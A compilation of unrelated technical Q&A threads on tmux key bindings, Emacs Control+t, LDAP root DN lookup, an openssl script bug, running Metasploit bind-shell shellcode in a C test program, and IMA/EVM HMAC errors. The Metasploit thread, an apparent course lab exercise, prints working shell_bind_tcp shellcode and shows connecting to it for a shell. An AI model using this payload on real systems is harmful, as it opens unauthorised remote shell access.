I am trying to create new arrow key bindings in TMUX which is running on a Linux machine. I ssh to that machine from my Mac (Mojave 10.14.6) using the Terminal. These are all combinations that I added in ~/.tmux.conf:
# Use Shift-Arrow to move between panes
bind -T root C-Left select-pane -L
bind -T root C-Right select-pane -R
bind -T root C-Up select-pane -U
bind -T root C-Down select-pane -D
# Use Alt-Shift Left/Right to switch between tabs
bind -T root M-C-Left previous-window
bind -T root M-C-Right next-window
# Use Alt-Shift Up/Down to create/close a tab
bind -T root M-C-Up new-window
bind -T root M-C-Down kill-pane
It works for Ctrl+Left and Ctrl+Right, but not for the others. For the Up/Down arrow combinations it always goes through the Terminal history, so I think that Terminal is overriding these bindings. However, I can not find where it does so, I removed all relevant combinations from Preferences -> Profiles -> Keyboard and also from System Preferences -> Keyboard -> Shortcuts. For the M-C-Left/Right nothing happens.
I believe the TERM variable is set correctly:
TERM=xterm-256color
TERM_PROGRAM=Apple_Terminal
TERM_PROGRAM_VERSION=421.2
TERM_SESSION_ID=782B88DE-A8DA-4542-8428-F9D5C1EF6386
The key bindings are also listed when calling tmux list-keys. When pressing the combinations in cat, I get:
cat
^[[A (Ctrl+Up)
^[[B (Ctrl+Down)
^[^[[C (Ctrl+Option+Right)
^[^[[D (Ctrl+Option+Left)
^[^[[A (Ctrl+Option+Up)
^[^[[B (Ctrl+Down)
In the TMUX server log, key bindings seem to be loaded properly. An excerpt when starting TMUX and then trying the key bindings:
1629805569.985046 server started, pid 16654
1629805569.985178 continuing cmdq 0x55797a7cedb0: flags=0, client=-1
1629805569.985192 cmdq 0x55797a7cedb0: bind-key C-b send-prefix
1629805569.985217 continuing cmdq 0x55797a7cedb0: flags=0, client=-1
...
1629805569.986939 socket path /tmp/tmux-1038/default
1629805569.987071 new client 7
1629805569.987113 loading /home/zimmerl/.tmux.conf
1629805569.987142 /home/zimmerl/.tmux.conf: # Move status bar to the top
1629805569.987148 /home/zimmerl/.tmux.conf: set-option -g status-position top
1629805569.987159 /home/zimmerl/.tmux.conf:
1629805569.987165 /home/zimmerl/.tmux.conf: # Change colors
1629805569.987178 /home/zimmerl/.tmux.conf: set -g status-fg green
1629805569.987190 /home/zimmerl/.tmux.conf: set -g status-bg black
1629805569.987201 /home/zimmerl/.tmux.conf:
1629805569.987208 /home/zimmerl/.tmux.conf: # Use Shift-Arrow to move between panes
1629805569.987215 /home/zimmerl/.tmux.conf: bind -T root C-Left select-pane -L
1629805569.987228 /home/zimmerl/.tmux.conf: bind -T root C-Right select-pane -R
1629805569.987239 /home/zimmerl/.tmux.conf: bind -T root C-Up select-pane -U
1629805569.987251 /home/zimmerl/.tmux.conf: bind -T root C-Down select-pane -D
1629805569.987262 /home/zimmerl/.tmux.conf:
1629805569.987269 /home/zimmerl/.tmux.conf: # Use Alt-Shift Left/Right to switch between tabs
1629805569.987276 /home/zimmerl/.tmux.conf: bind -T root M-C-Left previous-window
1629805569.987288 /home/zimmerl/.tmux.conf: bind -T root M-C-Right next-window
1629805569.987299 /home/zimmerl/.tmux.conf:
1629805569.987306 /home/zimmerl/.tmux.conf: # Use Alt-Shift Up/Down to create/close a tab
1629805569.987313 /home/zimmerl/.tmux.conf: bind -T root M-C-Up new-window
1629805569.987323 /home/zimmerl/.tmux.conf: bind -T root M-C-Down kill-pane
1629805569.987330 /home/zimmerl/.tmux.conf:
1629805569.987335 /home/zimmerl/.tmux.conf: # Use Ctrl+b -> h/v to split current pane horizontally/vertically
1629805569.987340 /home/zimmerl/.tmux.conf: bind -T prefix h split-window -h -c "#{pane_current_path}"
1629805569.987354 /home/zimmerl/.tmux.conf: bind -T prefix v split-window -v -c "#{pane_current_path}"
1629805569.987369 continuing cmdq 0x55797a7d4c80: flags=0, client=-1
1629805569.987375 cmdq 0x55797a7d4c80: set-option -g status-position top
1629805569.987390 cmdq 0x55797a7d4c80: set-option -g status-fg green
1629805569.987399 cmdq 0x55797a7d4c80: set-option -g status-bg black
1629805569.987408 cmdq 0x55797a7d4c80: bind-key -T root C-Left select-pane -L
1629805569.987421 cmdq 0x55797a7d4c80: bind-key -T root C-Right select-pane -R
1629805569.987434 cmdq 0x55797a7d4c80: bind-key -T root C-Up select-pane -U
1629805569.987446 cmdq 0x55797a7d4c80: bind-key -T root C-Down select-pane -D
1629805569.987457 cmdq 0x55797a7d4c80: bind-key -T root M-C-Left previous-window
1629805569.987469 cmdq 0x55797a7d4c80: bind-key -T root M-C-Right next-window
1629805569.987480 cmdq 0x55797a7d4c80: bind-key -T root M-C-Up new-window
1629805569.987490 cmdq 0x55797a7d4c80: bind-key -T root M-C-Down kill-pane
1629805569.987504 cmdq 0x55797a7d4c80: bind-key -T prefix h split-window -h -c #{pane_current_path}
1629805569.987518 cmdq 0x55797a7d4c80: bind-key -T prefix v split-window -v -c #{pane_current_path}
1629805569.987529 unref client 7 (2 references)
1629805569.987553 event dispatch enter
1629805569.987591 got 100 from client 7
...
1629805569.987882 continuing cmdq 0x55797a7d3940: flags=0, client=7
1629805569.987891 cmdq 0x55797a7d3940: new-session
1629805569.987901 new term: xterm-256color
1629805569.988166 xterm-256color override: XT
1629805569.988178 xterm-256color override: Ms \033]52;%p1%s;%p2%s\a
1629805569.988187 xterm-256color override: Cs \033]12;%p1%s\a
1629805569.988194 xterm-256color override: Cr \033]112\a
1629805569.988202 xterm-256color override: Ss \033[%p1%d q
1629805569.988209 xterm-256color override: Se \033[2 q
1629805569.988248 new key \033Oo: 0x103c (KP/)
1629805569.988255 new key \033Oj: 0x103d (KP*)
1629805569.988261 new key \033Om: 0x103e (KP-)
1629805569.988267 new key \033Ow: 0x103f (KP7)
1629805569.988273 new key \033Ox: 0x1040 (KP8)
1629805569.988280 new key \033Oy: 0x1041 (KP9)
1629805569.988286 new key \033Ok: 0x1042 (KP+)
1629805569.988292 new key \033Ot: 0x1043 (KP4)
1629805569.988297 new key \033Ou: 0x1044 (KP5)
1629805569.988302 new key \033Ov: 0x1045 (KP6)
1629805569.988307 new key \033Oq: 0x1046 (KP1)
1629805569.988313 new key \033Or: 0x1047 (KP2)
1629805569.988319 new key \033Os: 0x1048 (KP3)
1629805569.988325 new key \033OM: 0x1049 (KPEnter)
1629805569.988330 new key \033Op: 0x104a (KP0)
1629805569.988337 new key \033On: 0x104b (KP.)
1629805569.988342 new key \033OA: 0x1038 (Up)
1629805569.988347 new key \033OB: 0x1039 (Down)
1629805569.988354 new key \033OC: 0x103b (Right)
1629805569.988359 new key \033OD: 0x103a (Left)
1629805569.988365 new key \033[A: 0x1038 (Up)
1629805569.988370 new key \033[B: 0x1039 (Down)
1629805569.988377 new key \033[C: 0x103b (Right)
1629805569.988384 new key \033[D: 0x103a (Left)
1629805569.988390 new key \033OH: 0x1033 (Home)
1629805569.988396 new key \033OF: 0x1034 (End)
1629805569.988402 new key \033[H: 0x1033 (Home)
1629805569.988408 new key \033[F: 0x1034 (End)
1629805569.988413 new key \033Oa: 0x5038 (C-Up)
1629805569.988420 new key \033Ob: 0x5039 (C-Down)
1629805569.988427 new key \033Oc: 0x503b (C-Right)
1629805569.988432 new key \033Od: 0x503a (C-Left)
1629805569.988438 new key \033[a: 0x9038 (S-Up)
1629805569.988444 new key \033[b: 0x9039 (S-Down)
1629805569.988450 new key \033[c: 0x903b (S-Right)
1629805569.988457 new key \033[d: 0x903a (S-Left)
...
1629805569.989201 replacing key \033OH: 0x1033 (Home)
1629805569.989206 replacing key \033OF: 0x1034 (End)
...
1629805569.989229 replacing key \033OA: 0x1038 (Up)
1629805569.989236 replacing key \033OB: 0x1039 (Down)
1629805569.989242 replacing key \033OD: 0x103a (Left)
1629805569.989247 replacing key \033OC: 0x103b (Right)
...
1629805569.989292 new key \033[1;2B: 0x9039 (S-Down)
1629805569.989297 new key \033[1;3B: 0x3039 (M-Down)
1629805569.989303 new key \033[1;4B: 0xb039 (M-S-Down)
1629805569.989308 new key \033[1;5B: 0x5039 (C-Down)
1629805569.989314 new key \033[1;6B: 0xd039 (C-S-Down)
1629805569.989319 new key \033[1;7B: 0x7039 (C-M-Down)
...
1629805569.989546 new key \033[1;2C: 0x903b (S-Right)
1629805569.989551 new key \033[1;3C: 0x303b (M-Right)
1629805569.989557 new key \033[1;4C: 0xb03b (M-S-Right)
1629805569.989567 new key \033[1;5C: 0x503b (C-Right)
1629805569.989574 new key \033[1;6C: 0xd03b (C-S-Right)
1629805569.989580 new key \033[1;7C: 0x703b (C-M-Right)
1629805569.989943 new key \033[1;2A: 0x9038 (S-Up)
1629805569.990239 new key \033[1;3A: 0x3038 (M-Up)
1629805569.990245 new key \033[1;4A: 0xb038 (M-S-Up)
1629805569.990830 new key \033[1;5A: 0x5038 (C-Up)
1629805569.991122 new key \033[1;6A: 0xd038 (C-S-Up)
1629805569.991440 new key \033[1;7A: 0x7038 (C-M-Up)
1629805569.991544 #0 alerts flags added 0x2
1629805569.991559 spawn: /bin/bash --
...
1629805580.564176 event dispatch enter
1629805580.970822 keys are 3 (\033[A)
1629805580.970848 complete key \033[A 0x1038
1629805580.970859 session 0 not pasting
1629805580.970867 writing key 0x1038 (Up)
1629805580.970873 found key 0x1038: "\033[A"
1629805580.970884 event dispatch exit
....
1629805581.064643 event dispatch enter
1629805582.965826 keys are 3 (\033[B)
1629805582.965857 complete key \033[B 0x1039
1629805582.965870 session 0 not pasting
1629805582.965879 writing key 0x1039 (Down)
1629805582.965887 found key 0x1039: "\033[B"
1629805582.965900 event dispatch exit
Just try to reload the config.
Kill definitely your tmux (tmux kill-server) and launch it with:
tmux source-file ~/.tmux.conf
or simply load the config in tmux command mode (Ctrl+B):
:source-file ~/.tmux.conf
I think you should kill existing sessions after changing the configuration of tmux.
tmux kill-server
Now you can create new sessions which will have Changed configurations.
The default terminal schemes map the left and right arrow keys to control codes, which is why they work.
The up and down arrow keys aren't mapped to control codes, which seems to be why tmux isn't picking them up.
I got this to work by modifying my scheme (Preferences > Profiles > Keyboard) to send the control codes for all the arrow keys.
Related
This article is about the keyboard key combination 'Control + t' (smallcase 't') and emacs.
This problem is exclusive to the gui version and does not come up while using the terminal.
I am using Wayland
Control+t : The cursor just blinks and nothing happens.
C-h k + C-t (Control+h and k followed by Control + t) : Nothing shows up.
C-h k + C-S-t : Works. Shows this
'C-t (translated from C-S-t) runs the command transpose-chars (found in global-map), which is an interactive compiled Lisp function...'
Note Translated from C-S-t
This basically means that Control-t is getting eaten up somewhere in the process.
Some more info and curious things -
Control+t and terminals -
Works in Kitty and termite - Detected by wev ; C-t 'tranpose-chars' in emacs-mode (bindkey -e in zsh) works
Does not work in konsole - Detected by wev ; C-t 'tranpose-chars' in emacs-mode (bindkey -e in zsh) does not work.
wev output -
[14: wl_keyboard] key: serial: 5101; time: 10021865; key: 66; state: 1 (pressed)
sym: Control_L (65507), utf8: ''
[14: wl_keyboard] modifiers: serial: 0; group: 0
depressed: 00000004: Control
latched: 00000000
locked: 00000000
[14: wl_keyboard] key: serial: 5103; time: 10022192; key: 28; state: 1 (pressed)
sym: t (116), utf8: ''
Emacsclient -t (emacs client on terminal and tty)
Works.
C-t runs the command transpose-chars (found in global-map), which is an interactive compiled Lisp function in `simple.el'.
Firefox and Chrome is able to detect the keypresses. Tested on https://keyboardchecker.com/
What do I need?
I need to understand why this is happening.
The solution to the same.
And I need your help.
TODO:
Need to check the same in X11 and then report.
[Update]
The same problem persists in X11. Again, Control+Shift+t works but not Control+t
I want to know the root dn in ldap, any command?
Here is what I found in /etc/ldap/slapd.d/cn\=config.ldif
dn: cn=config
objectClass: olcGlobal
cn: config
olcArgsFile: /var/run/slapd/slapd.args
olcLogLevel: none
olcPidFile: /var/run/slapd/slapd.pid
olcToolThreads: 1
structuralObjectClass: olcGlobal
entryUUID: 6a0e29d2-7341-1036-810b-5902d64537f7
creatorsName: cn=config
createTimestamp: 20170120094900Z
entryCSN: 20170120094900.675648Z#000000#000#000000
modifiersName: cn=config
modifyTimestamp: 20170120094900Z
dose that mean the root dn is 'cn=config'?
Many servers expose such parameters as attributes.
You are looking for the namingContexts attribute.(Some servers also have a defaultNamingContext and/or configContext.)
You must use "base" as the search scope
These are operational attributes, which have to be explicitly requested by name or by the + wildcard
ldapsearch -LLL -h <ldaphost> -b "" -s base +
OR if server ask for credentials
ldapsearch -LLL -h <ldaphost> -s base -D "bindDN" -w "bindPassword" -b "" +
Output
dn:
structuralObjectClass: OpenLDAProotDSE
configContext: cn=config
namingContexts: dc=mydomain
namingContexts: dc=mydomain2,dc=myorg
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.3.6.1.4.1.4203.1.9.1.1
.
.
.
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
.
.
supportedFeatures: 1.3.6.1.1.14
supportedFeatures: 1.3.6.1.4.1.4203.1.5.1
.
.
supportedLDAPVersion: 3
supportedSASLMechanisms: LOGIN
supportedSASLMechanisms: PLAIN
entryDN:
subschemaSubentry: cn=Subschema
I ran this script below:
#!/bin/bash
keyFile=video.key
openssl rand 16 > $keyFile
encryptionKey=$(cat $keyFile | hexdump -e '16/1 "%02x"')
splitFilePrefix=stream
encryptedSplitFilePrefix=enc/${splitFilePrefix}
numberOfTsFiles=$(ls ${splitFilePrefix}*.ts | wc -l)
for (( i=1; i<$numberOfTsFiles; i++ ))
do
initializationVector=printf '%032x' $i
openssl aes-128-cbc -e -in ${splitFilePrefix}$i.ts -out ${encryptedSplitFilePrefix}$i.ts -nosalt -iv $initializationVector -K $encryptionKey
done
right after the execution, the bash gives me an error:
./script.sh: line 14: fg: no job control
unknown option '9d268d620c68938b4578c3f299c91a1a'
options are
-in <file> input file
-out <file> output file
-pass <arg> pass phrase source
-e encrypt
-d decrypt
-a/-base64 base64 encode/decode, depending on encryption flag
-k passphrase is the next argument
-kfile passphrase is the first line of the file argument
-md the next argument is the md to use to create a key
from a passphrase. One of md2, md5, sha or sha1
-S salt in hex is the next argument
-K/-iv key/iv in hex is the next argument
-[pP] print the iv/key (then exit if -P)
-bufsize <n> buffer size
-nopad disable standard block padding
-engine e use engine e, possibly a hardware device.
Cipher Types
-aes-128-cbc -aes-128-cbc-hmac-sha1 -aes-128-cfb
-aes-128-cfb1 -aes-128-cfb8 -aes-128-ctr
-aes-128-ecb -aes-128-gcm -aes-128-ofb
-aes-128-xts -aes-192-cbc -aes-192-cfb
-aes-192-cfb1 -aes-192-cfb8 -aes-192-ctr
-aes-192-ecb -aes-192-gcm -aes-192-ofb
-aes-256-cbc -aes-256-cbc-hmac-sha1 -aes-256-cfb
-aes-256-cfb1 -aes-256-cfb8 -aes-256-ctr
-aes-256-ecb -aes-256-gcm -aes-256-ofb
-aes-256-xts -aes128 -aes192
-aes256 -bf -bf-cbc
-bf-cfb -bf-ecb -bf-ofb
-blowfish -camellia-128-cbc -camellia-128-cfb
-camellia-128-cfb1 -camellia-128-cfb8 -camellia-128-ecb
-camellia-128-ofb -camellia-192-cbc -camellia-192-cfb
-camellia-192-cfb1 -camellia-192-cfb8 -camellia-192-ecb
-camellia-192-ofb -camellia-256-cbc -camellia-256-cfb
-camellia-256-cfb1 -camellia-256-cfb8 -camellia-256-ecb
-camellia-256-ofb -camellia128 -camellia192
-camellia256 -cast -cast-cbc
-cast5-cbc -cast5-cfb -cast5-ecb
-cast5-ofb -des -des-cbc
-des-cfb -des-cfb1 -des-cfb8
-des-ecb -des-ede -des-ede-cbc
-des-ede-cfb -des-ede-ofb -des-ede3
-des-ede3-cbc -des-ede3-cfb -des-ede3-cfb1
-des-ede3-cfb8 -des-ede3-ofb -des-ofb
-des3 -desx -desx-cbc
-id-aes128-GCM -id-aes192-GCM -id-aes256-GCM
-rc2 -rc2-40-cbc -rc2-64-cbc
-rc2-cbc -rc2-cfb -rc2-ecb
-rc2-ofb -rc4 -rc4-40
-rc4-hmac-md5 -seed -seed-cbc
-seed-cfb -seed-ecb -seed-ofb
I read openssl manual and thought either -K or -iv part is wrong, but couldn't figure out which option and why is it wrong
Your problem is that this line:
initializationVector=printf '%032x' $i
Should look like this:
initializationVector=$(printf '%032x' $i)
It made initializationVector empty.
You can find it out if you add set -x at the top, and then see exactly what is the command line you're attempting to run.
before fixing it looked like this:
openssl aes-128-cbc -e -in stream1.ts -out enc/stream1.ts -nosalt -iv -K 7aeb2faae0289b9828b2994f50a4cc3a
which made openssl command think that -K is the value for the -iv option, and the key itself is another command option.
Hence the error: unknown option '7aeb2faae0289b9828b2994f50a4cc3a' (in my case).
do
initializationVector=printf '%032x' $i
openssl aes-128-cbc -e -in ${splitFilePrefix}$i.ts -out ${encryptedSplitFilePrefix}$i.ts \
-nosalt -iv $initializationVector -K $encryptionKey
done
You are missing the leading dash on the cipher. Try -aes-128-cbc instead. From the enc(1) docs:
SYNOPSIS
openssl enc -ciphername [-in filename] [-out filename] [-pass arg] [-e] [-d] [-a/-base64] [-A]
[-k password] [-kfile filename] [-K key] [-iv IV] [-S salt] [-salt] [-nosalt] [-z] [-md] [-p]
[-P] [-bufsize number] [-nopad] [-debug] [-none] [-engine id]
I'm running a Metasploit payload in a sandbox c program.
Below is a summary of the payload of interest. From there I generate some shellcode and load it up in my sandbox, but when I run it the program will simply wait. I think this is because it's waiting for a connection to send the shell, but I'm not sure.
How would I go from:
Generating shellcode
Loading it into my sandbox
Successfully get a /bin/sh shell <- this is the part I'm stuck on.
Basic setup:
max#ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp S
[sudo] password for max:
Name: Linux Command Shell, Bind TCP Inline
Module: payload/linux/x86/shell_bind_tcp
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 200
Rank: Normal
Provided by:
Ramon de C Valle <rcvalle#metasploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Description:
Listen for a connection and spawn a command shell
Generating shellcode:
max#ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C
Sandbox program with shellcode:
#include<stdio.h>
#include<string.h>
/*
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
*/
unsigned char code[] = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compile and run. However, this is where I'm not sure how to get a /bin/sh shell:
max#ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
max#ubuntu-vm:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
(program waiting here...waiting for a connection?)
Edit:
In terminal one I run my shellcode program:
max#ubuntu-vm:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
Now in terminal two, I check for tcp listeners. Giving -n to suppress host name resolution, -t for tcp, -l for listeners, and -p to see the program names.
I can see the shellcode program on port 4444:
max#ubuntu-vm:~$ sudo netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 14885/shellcode
max#ubuntu-vm:~$
Connecting with telnet, and it seems like it was successful but still no sh shell.
max#ubuntu-vm:~$ telnet 0.0.0.0 4444
Trying 0.0.0.0...
Connected to 0.0.0.0.
Escape character is '^]'.
How do I get an sh shell?
Generate shellcode, compile and run:
max#ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C
/*
* linux/x86/shell_bind_tcp - 78 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false,
* PrependSetresuid=false, PrependSetreuid=false,
* PrependSetuid=false, PrependSetresgid=false,
* PrependSetregid=false, PrependSetgid=false,
* PrependChrootBreak=false, AppendExit=false,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
max#ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
max#ubuntu-vm:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
Now, in terminal 2. Check for connections and finally connect using netcat. Note, that the $ doesn't appear but the shell is still there:
max#ubuntu-vm:~$ sudo netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 3326/shellcode
max#ubuntu-vm:~$ nc 0.0.0.0 4444
pwd
/home/max/SLAE/mod2
whoami
max
ls -l
total 516
-rwxrwxr-x 1 max max 591 Jan 2 07:06 InsertionEncoder.py
-rwxrwxr-x 1 max max 591 Jan 2 07:03 InsertionEncoder.py~
-rwxrwxr-x 1 max max 471 Dec 30 17:00 NOTEncoder.py
-rwxrwxr-x 1 max max 471 Dec 30 16:57 NOTEncoder.py~
-rwxrwxr-x 1 max max 442 Jan 2 09:58 XOREncoder.py
-rwxrwxr-x 1 max max 442 Dec 30 08:36 XOREncoder.py~
-rwxrwxr-x 1 max max 139 Dec 27 08:18 compile.sh
I am trying to activate IMA appraisal & EVM modules.
After compiling linux kernel 3.10.2 on my bt5R3 and setting kernel boot option in a first time like this:
GRUB_CMDLINE_LINUX="rootflags=i_version ima_tcb ima_appraise=fix ima_appraise_tcb evm=fix"
and after running this command to generate xattr security.ima and security.evm
find / \( -fstype rootfs -o -fstype ext4 \) -type f -uid 0 -exec head -c 1 '{}' \;
like this:
GRUB_CMDLINE_LINUX="rootflags=i_version ima_tcb ima_appraise=enforce ima_appraise_tcb evm=enforce"
I try to create digital signature of xattr like it's recommended on this tutorial
Tutorial to IMA & EVM
Every steps have been followed, creating RSA keys, loading them early at boot in initramfs with keyctl.
Session Keyring
-3 --alswrv 0 65534 keyring: _uid_ses.0
977514165 --alswrv 0 65534 \_ keyring: _uid.0
572301790 --alswrv 0 0 \_ user: kmk-user
126316032 --alswrv 0 0 \_ encrypted: evm-key
570886575 --alswrv 0 0 \_ keyring: _ima
304346597 --alswrv 0 0 \_ keyring: _evm
However as soon as I reboot my OS when I try to read a signed and hashed file I get the error "Permission Denied"
Running dmesg tells me :
[ 5461.175996] type=1800 audit(1375262160.913:57): pid=1756 uid=0 auid=4294967295 ses=4294967295 op="appraise_data" cause="**invalid-HMAC**" comm="sh" name="/root/Desktop/new.sh" dev="sda1" ino=546526 res=0
Have you any idea why i get invalid HMAC ?
They keys are loaded like the tutorial says...
#!/bin/sh -e
PREREQ=""
# Output pre-requisites
prereqs()
{
echo "$PREREQ"
}
case "$1" in
prereqs)
prereqs
exit 0
;;
esac
grep -q "ima=off" /proc/cmdline && exit 1
mount -n -t securityfs securityfs /sys/kernel/security
IMA_POLICY=/sys/kernel/security/ima/policy
LSM_POLICY=/etc/ima_policy
grep -v "^#" $LSM_POLICY >$IMA_POLICY
# import EVM HMAC key
keyctl show |grep -q kmk || keyctl add user kmk "testing123" #u
keyctl add encrypted evm-key "load `cat /etc/keys/evm-key`" #u
#keyctl revoke kmk
# import Module public key
mod_id=`keyctl newring _module #u`
evmctl import /etc/keys/pubkey_evm.pem $mod_id
# import IMA public key
ima_id=`keyctl newring _ima #u`
evmctl import /etc/keys/pubkey_evm.pem $ima_id
# import EVM public key
evm_id=`keyctl newring _evm #u`
evmctl import /etc/keys/pubkey_evm.pem $evm_id
# enable EVM
echo "1" > /sys/kernel/security/evm
# enable module checking
#echo "1" > /sys/kernel/security/module_check
Thanks for your help
Solved, new kernel use HMAC v2 and you have to activate asymmetric key when you compile kernel.
cat .config should have this entries:
CONFIG_EVM_HMAC_VERSION=2
CONFIG_ASYMMETRIC_KEY_TYPE=y
Then when you hash or sign a file use
evmctl -u - -x --imasig/--imahash $file
As well you should have create the asymetric keys and load them in _evm and _ima keyring with keyctl with initramfs.